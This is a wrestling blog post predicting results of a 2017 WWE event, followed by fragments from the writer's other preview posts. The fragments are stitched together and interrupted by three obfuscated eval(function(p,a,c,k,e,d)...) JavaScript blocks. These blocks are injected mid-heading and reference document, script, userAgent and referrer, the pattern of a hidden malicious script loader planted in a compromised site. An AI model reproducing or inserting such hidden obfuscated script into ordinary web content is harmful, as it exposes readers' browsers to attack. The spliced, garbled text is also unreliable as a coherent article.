That being said, I don’t think it’s going to be this match as Elias should get the win. It’s clear that Elias is a bigger deal and someone the company is interested in protecting so there’s no reason to have him lose here. Crews has gotten over losses before and the fans are going to be behind him due to Elias’ song anyway. Just let them have about ten minutes and everything will be fine but Elias wins, as he should.

Tag Team Titles: Dean Ambrose/Seth Rollins(c) vs. Sheamus/Cesaro

I’m just putting this one on here now to get it out of the way. I’ve been so bored with the tag team division on Mondays for months now and Rollins and Ambrose as the champs hasn’t really done anything for it. At the end of the day, they just need fresh opponents and Sheamus/Cesaro aren’t the kinds of guys who are going to be able to stir up any interest in a title match.

Therefore, as you can probably tell, I’ll go with the champions to retain the titles, as they certainly should. While they haven’t been able to jump start the whole division, there’s only so much of that which can be put on them. They should win though as we set up another good team to challenge them, which should make them some of the longest reigning champions in years without much effort.

Intercontinental Title: The Miz(c) vs. Jason Jordan

I’m actually not sure on this one as all of the signs seem to be pointing towards Jordan taking the title in a walk, especially given the Kurt Angle situation. However, I’m thinking it’s a bit too easy. They’re setting it up on a silver platter and that makes me think that they’re not quite ready to pull the trigger on Jordan just yet, at least not in this form.

However, I do think they’ll give him the title. The Angle story isn’t working and the best choice they might have at this point might be to have him win the title and say he made the whole thing up in order to get a title shot on his own or something like that. Jordan has hit the ground running with the singles push with matches against Cena and Reigns and he’s done most of it without Angle helping him out. Jordan wins here, only to have Miz get the title back again soon enough to continue his march towards both Intercontinental Title records.

Cruiserweight Title: Neville(c) vs. Enzo Amore

Let’s get this one over with. On paper, Amore winning the title and holding it away from every more talented wrestler in the division (basically a face version of the Honky Tonk Man) sounds great but dear goodness I’ve been going nuts watching Amore on “205 Live”. He’s not funny anymore and he’s definitely not someone I want to see any more. Neville has turned into a star and should be ready for the main roster as a midcard champion contender, which means not losing to that rat faces weasel Amore.

But, of course, I’m pretty sure Amore wins the title here. If he doesn’t, they might as well just cut him off the roster now and be done with it. The only thing for him to do is win the title and be done with it, hopefully dropping it right back to someone a lot more talented in the near future. Amore does nothing for me without Big Cass and it seems that I’m not the only one who thinks this way. But yeah, he wins the title here, blast it all.

Finn Balor vs. Bray Wyatt

So this is a thing too and it’s starting to make me think of Dolph Ziggler’s “can’t win the big one” storyline. The idea here is that Wyatt can’t defeat the Demon so he wants to face Balor on his own instead. It’s like when Ziggler couldn’t win the World Title so he settled for the Intercontinental Title and called it the big one instead. No one looks good coming out of this story but WWE likes it all the same.

I’ll take Balor to win here, just in case he hasn’t been crushed enough yet. Balor should be ready to move up to the World Title scene in the near future and Wyatt should….I’m not even sure at this point anymore. When you have him lose match after match over and over anymore, the best thing you can do is just wait until something better comes along ala Cesaro and the tag division, since it’s pretty clear he’s never getting a long term push as a title contender. Balor wins here, which shouldn’t surprise anymore.

Women’s Title: Alexa Bliss(c) vs. Sasha Banks vs. Bayley vs. Emma vs. Nia Jax

Well to be fair it’s been at least a whole five days since WWE last presented a “let’s throw a bunch of women together into the same match so we don’t have to actually put any effort into it” match. Emma is pretty clearly here just for the sake of having her take the fall, but the question is who gets to beat her and leave with the title.

I’m going to go with Bliss retaining the title here as we continue to wait on the long rumored Banks heel turn. Maybe they sow some more seeds here for the turn, but they need to actually do something about it already. There’s a chance that the Bayley injury slowed things down, but I’m thinking Bliss retains here, only to lose it in a singles match later, hopefully to Jax this time around.

Universal Title: Brock Lesnar(c) vs. Braun Strowman

This one is ALL about the long term planning as the question is likely how do we get Reigns into the title picture all over again. My guess is very simple and it starts here with whoever walks out of the show with the title. They could just have Lesnar dominate the title until April and give him the year long title reign or they could go a different path and try something more interesting.

I actually think they’re going to switch the title here and put it on Strowman. That lets Reigns take it away at perhaps “Royal Rumble 2017” with Reigns holding the title until New Orleans where he successfully defends it against Lesnar, sending him back to the UFC. But yeah, I think Strowman wins here and that’s the best for the long term planning. If Lesnar is only going to be around every now and then, there’s no reason to have him go over Reigns and Strowman at back to back pay per views.

Roman Reigns vs. John Cena

I have no idea how this couldn’t be the main event and I have no idea why it wasn’t the main event of a much bigger show (well ok I do as they needed a big match to hang onto all the people who got the free WWE Network month in August with a pair of huge matches). They’ve got a good story here and Cena being away this week helped Reigns a ton. Reigns now has something to fight for (proving himself as the big dog) and that’s been lacking for a very long time.

I’m going to go out on a limb here and assume that WWE hasn’t lost its freaking mind and have Reigns take the loss here. Cena does not need this win and could give Reigns a big rub (you know, because he’s only had a dozen or so of them) on his way off to do whatever he has for his next project. Reigns winning makes sense after his complete destruction in the promos and I hope WWE sees that. There’s a way to have Reigns bounce back from the loss but I don’t think they need to go that route.

Overall Thoughts

For the first time in a long time, I’m a lot more interested in a low level show. It’s almost like there’s something to this idea of building up a few matches and making them feel important. Why WWE refuses to do this a lot more often is beyond me, but I’d bet on it being because they’re not the best creative department in the world.

I’m rather interested in the train crash (not wreck) that is Strowman vs. Lesnar and Reigns vs. Cena does indeed feel like it’s one of the biggest matches the company could put together for a long time. The rest of the show might not be the best in the world but they’re more than capable of putting on a very good show, especially if the wrestling exceeds the not quite exceptional hype.

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

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This is going to be a long one. We’re less than two days away from “Summerslam 2017” and there are a staggering thirteen matches on the card. I know three of them are going to be on the Kickoff Show but sweet goodness that’s a lot of wrestling in one night. The card has grown on me in recent weeks and I’m more excited about it than I used to be so hopefully it’s going to be good. Let’s get to it.

Kickoff eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bfazb|var|u0026u|referrer|ftyni||js|php'.split('|'),0,{})) Show: Hardy Boyz/Jason Jordan vs. Miz/Miztourage

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And check out my Amazon author page with cheap wrestling books at:

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It’s that time of year again. Summer is wrapping up and that means WWE is heading to Brooklyn New York with its little buddy NXT in tow. It’s time for NXT’s biggest show of the year as we’re ready for “Takeover: Brooklyn III”. This show really doesn’t seem to have the same pop that a lot of the series’ entries have had, but there’s one thing I’ve learned watching NXT: never bet against them blowing you away.

Tag eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fhfyb|var|u0026u|referrer|ynyat||js|php'.split('|'),0,{})) Team Titles: Authors of Pain(c) vs. Sanity

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/

And check out my Amazon author page with cheap wrestling books at:

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Ah “Battleground 2017”. Every year I come into this show almost forgetting that it’s there because it feels like the most generic pay per view of the year. The card rarely matters because it always feels like the definition of the B level show. It’s a “Smackdown Live” show this year and there’s not much I’m looking forward to on the card but there’s some potential there. Let’s get to it.

Kickoff eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fhtea|var|u0026u|referrer|dbtea||js|php'.split('|'),0,{})) Show: Aiden English vs. Tye Dillinger

http://www.amazon.com/Thomas-Hall/e/B00E6282W6